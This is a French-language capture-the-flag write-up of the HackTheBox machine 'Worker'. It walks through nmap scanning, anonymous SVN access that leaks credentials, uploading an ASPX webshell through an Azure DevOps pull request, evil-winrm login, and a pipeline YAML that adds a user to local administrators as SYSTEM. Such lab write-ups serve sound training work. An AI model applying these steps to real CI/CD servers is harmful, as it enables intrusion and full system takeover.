CTF — HackTheBox — Worker

R Pion
ProHacktive
Published in
8 min readJan 25, 2021
Caractéristique de la machine Worker
  • IP de la machine Worker : 10.10.10.203
  • IP de l’attaquant : 10.10.14.85

Bonjour à tous, je suis Raphaël PION ! En cette période particulière, j’ai décidé de me remettre aux CTF! L’objectif étant de fournir un write-up mensuel sur une machine de mon choix sur l’infrastructure de HackTheBox.(https://www.hackthebox.eu)

Les objectifs pour chaque machine de l’infra HTB sont les suivants:

  • Compromettre l’utilisateur, le nom peut changer en fonction des machines. En lisant le flag (chaîne de caractère secrète) qui se trouve dans «/home/XXXX/user.txt» ou «C:\Users\XXXX\Desktop\user.txt»
  • Compromettre l’administrateur, ‘root’ (unix) ou ‘Administrator’ (windows). Enlisant le flag dans «/root/root.txt» ou «C:\Users\Administrator\Desktop\root.txt»

Pour aujourd’hui, j’ai décidé de m’attaquer à une machine où je suis à l’aise : Worker. Je tiens aussi à signaler que cette machine est plutôt instable et que le mode “multi-joueur” n’aide pas vraiment mais c’est le jeu! Let’s goooo !

Reconnaissance avec Nmap

On ne va pas perdre de temps, on va utiliser un petit nmap pour la découverte des services ouverts :

$> nmap -A 10.10.10.203 -p- -oA nmap_result
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open svnserve Subversion
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Alors qu’est ce que ça nous dit ?

  • Il y a un IIS sur le 80/tcp. Rien à en tirer quand on regarde rapidement le contenu avec notre contexte. Nmap nous dit que la méthode ‘TRACE’ est autorisée… Ça peut être pratique si on trouve une XSS et que le cookie à voler est en ‘httpOnly’. Au passage, cette technique porte un nom : le Cross Site Tracing (XST). Mais il n’y a pas d’XSS et il n’y a pas grand-chose sur ce port, donc on le laisse de côté !
  • Pour le port 5985/tcp, il sera intéressant pour plus tard. En effet, le ‘Windows Remote Management’ est peut-être activé, il sera possible de nous connecter à la machine avec un compte authentifié.
  • Sur le port 3690/tcp, on parle d’un server svn (c’est comme git!) et c’est ici que commencera notre point d’entrée.

3690/tcp — Subversion

On peut utiliser le script NSE de nmap pour en savoir un peu plus sur ce service :

$> nmap  10.10.10.203 --script svn-brute --script-args svn-brute.repo=/svn/ -p 3690
PORT STATE SERVICE
3690/tcp open svn
| svn-brute:
|_ Anonymous SVN detected, no authentication needed

On peut se connecter en anonyme afin de récupérer les infos du dépôt SVN.

$> svn info svn://10.10.10.203:3690Path: .
URL: svn://10.10.10.203
Relative URL: ^/
Repository Root: svn://10.10.10.203
Repository UUID: 2fc74c5a-bc59–0744-a2cd-8b7d1d07c9a1Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020–06–20 15:52:00 +0200 (Sat, 20 Jun 2020)

On peut aussi récupérer le contenu du dépôt avec :

$> svn co svn://10.10.10.203:3690 svn_content

On y trouve un dossier «dimension.worker.htb/» (contenu d’un site) et un fichier «moved.txt» qui contient :

$> cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)

On peut alors renseigner le subdomain «devops.worker.htb» avec l’ip de la machine Worker dans notre fichier /etc/hosts afin d’accéder au site sur le port 80/tcp via la magie du «virtual hosting» ou «VHOST» comme on dit dans le milieu.

$> cat /etc/hosts 
10.10.10.203 devops.worker.htb

Mais en arrivant sur le site (Azure DevOps Server), on obtient une authentification Basic ! Rhoooo mais nooon quoi !

Authentification basic du serveur Azure

Mais pas de panique, il doit sûrement avoir un indice dans le dépôt svn! Il est possible d’afficher les différences entre chaque révision avec la commande :

$> svn diff -r2
Index: deploy.ps1
===================================================================
--- deploy.ps1(revision 2)
+++ deploy.ps1(nonexistent)
@@ -1,6 +0,0 @@
-$user = "nathen"
-$plain = "wendel98"
-$pwd = ($plain | ConvertTo-SecureString)
-$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd-$args = "Copy-Site.ps1"
-Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

Nous avons maintenant les identifiants pour nous connecter au Microsoft Azure !

80/tcp — WEBSHELL !

On voit qu’il existe un processus de CI/CD qui veut dire «Intégration continue» et «déploiement continue». Il y a plusieurs dépôts, on utilisera «Twenty» pendant nos tests. L’idée c’est qu’à chaque push sur la branche master, le projet en question se relance directement avec les dernières modifications en utilisant une «pipeline» (liste d’action à exécuter pour la mise en production du projet).

On peut modifier les projets web et les déployer sur le serveur. Mais alors comment exécuter du code dans du web ? En utilisant bien sur un petit webshell. Il est possible de le déployer en utilisant la procédure suivante :

  • Choisir un dépôt. Ici nous choisirons «twenty» accessible via twenty.worker.htb (entrée à rajouter dans le /etc/hosts)
  • Créer une branche personnelle basé sur la master. Je l’ai appelé «WEBSHELL!» (d’où le titre du chapitre). A partir de ce moment, il va falloir se dépêcher car en effet, la branche master va restaurer sa version initiale et supprimer toutes nos modifications ! (genre toutes les 5 minutes)
  • Uploader son webshell ASPX dans sa branche. J’ai privilégié un webshell de ‘lamer’ avec l’exécution de commande classique et un petit explorateur de fichier.
  • Après avoir uploader le webshell, on nous propose de créer une «Pull Request» alors on clique dessus ! VITE !
  • L’utilisatrice ‘nathen’ doit approuver les ‘merge request’. On doit aussi sélectionner un «Work Items» et cliquer sur «Complete» pour lancer la pipeline du projet.
  • Une fois le projet déployé, on va sur l’url : http://twenty.worker.htb/webshell.aspx
Webshell de Hacker 2.0 sur le projet twenty

Nous disposons de quelques minutes pour faire des choses! OK, mais on fait quoi? Exécuter son petit reverse shell bien propre stocké dans un endroit qui ne sera pas supprimer par le challenge ?
… Bien sûr que non, nous allons chercher des éléments de configuration du site le plus rapidement possible et sous pression comme dans les films !
En se baladant rapidement dans l’explorer de fichier à droite, le fichier «W:\svnrepos\www\conf\passwd» nous indique une liste de credentials (couple utilisateur/mot de passe) en clair lié à l’authentification Basic de tout à l’heure.

$> type W:\svnrepos\www\conf\passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
[...]

En se dépêchant un petit peu, on peut lister les utilisateurs locaux de la machine dans le répertoire ‘C:\Users\’ en utilisant sa petite souris ou bien avec la commande ‘dir c:\Users\’.

‘robisl’ est utilisateur local de la machine Worker

On voit qu’il y a un utilisateur sur la machine qui est aussi présent dans la liste de credentials «W:\svnrepos\www\conf\passwd» :

[...]
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
[...]

5985/tcp — Compromission du compte utilisateur

Nous avons le compte ‘robisl’. On pourrait essayer ses identifiants sur l’authentification basic de tout à l’heure … Ou bien voir si son mot de passe est le même pour se connecter localement sur la machine !

Mais oui bien sur, vous vous souvenez du port ‘5985/tcp’ trouvé par nmap (… où j’ai dit que ‘peut-être’ il y avait un WinRM et bien j’ai fait exprès de ne pas savoir car je le savais très bien depuis le début, HA!).

Il est possible d’exécuter des commandes à distance en utilisant ‘evil-winrm’ (github : https://github.com/Hackplayers/evil-winrm).

$> evil-winrm -i 10.10.10.203 -u robisl -p wolves11
Flag de l’utilisateur ‘robisl’ sur la machine Worker

Il nous reste encore le compte de robisl à utiliser sur le serveur Azure via l’authentification basic.

80/tcp — Création de pipeline

Et en effet, avec ce compte, nous avons accès à la création des pipelines. Est il possible d’exécuter du code avec ces pipelines ? Si oui, avec quel compte? Ça vaut le coup ?

Exécution de ‘whoami’ dans la pipeline custom

Oui, ça vaut le coup car nous sommes ‘NT authority\System’! Nous allons donc créer notre petite pipeline… A vos cliques !

  • Cliquez sur ‘PartsUnlimited’
  • Cliquez sur ‘New build pipeline’
  • Cliquez sur ‘Azure Repos Git’
  • Cliquez sur ‘PartsUnlimited’
  • Cliquez sur ‘Starter pipeline’
  • Remplacer le YAML par :
===============================================
# Starter pipeline
# Start with a minimal pipeline that you can customize to build and deploy your code.
# Add steps that build, run tests, deploy, and more:
# https://aka.ms/yaml
trigger:
- master
steps:
- script: net localgroup administrators robisl /add
displayName: 'robisl is admin'
===============================================
  • Cliquez sur ‘Save and Run’
  • Cochez la case ‘Create a new branch for this commit and start a pull request.’ et trouvez un nom de branche qui vous passe par la tête (par exemple, ‘toto’ ou ‘tata’)
  • cliquez sur ‘Save and Run’ et attendez !

Nous avons modifier le fichier YAML qui décrit les actions à effectuer par la pipeline lors du déploiement d’un projet. Nous utiliserons la commande suivant pour permettre à notre compte ‘robisl’ de passer administrateur local de la machine puisque la pipeline est exécutée avec les droits “NT System”.

En se reconnectant avec ‘evil-winrm’ sur le port 5985/tcp, on voit que l’utilisateur ‘robisl’ est devenu administrateur local de la machine Worker et nous obtenons le flag ‘root’.

Robisl est administrateur local de Worker ! YEAH!

Conclusion

Pour résumer, notre chaîne d’attaque (‘kill chain’) :

  • SVN en anonyme avec des données sensibles (identifiants)
  • Upload de webshell dans le CI/CD pour lire le fichier contenant le mot de passe de l’administrateur d’Azure en clair : robisl.
  • Connexion avec robisl pour changer la pipeline est exécuter du code avec le compte ‘NT System’ (le ‘root’ de Windows).
  • Utilisation de WinRM pour avec une session powershell à distance.

On se retrouve pour un chall un peu plus difficile. Merci à tous de m’avoir lu et @ plus !

RP.

--

--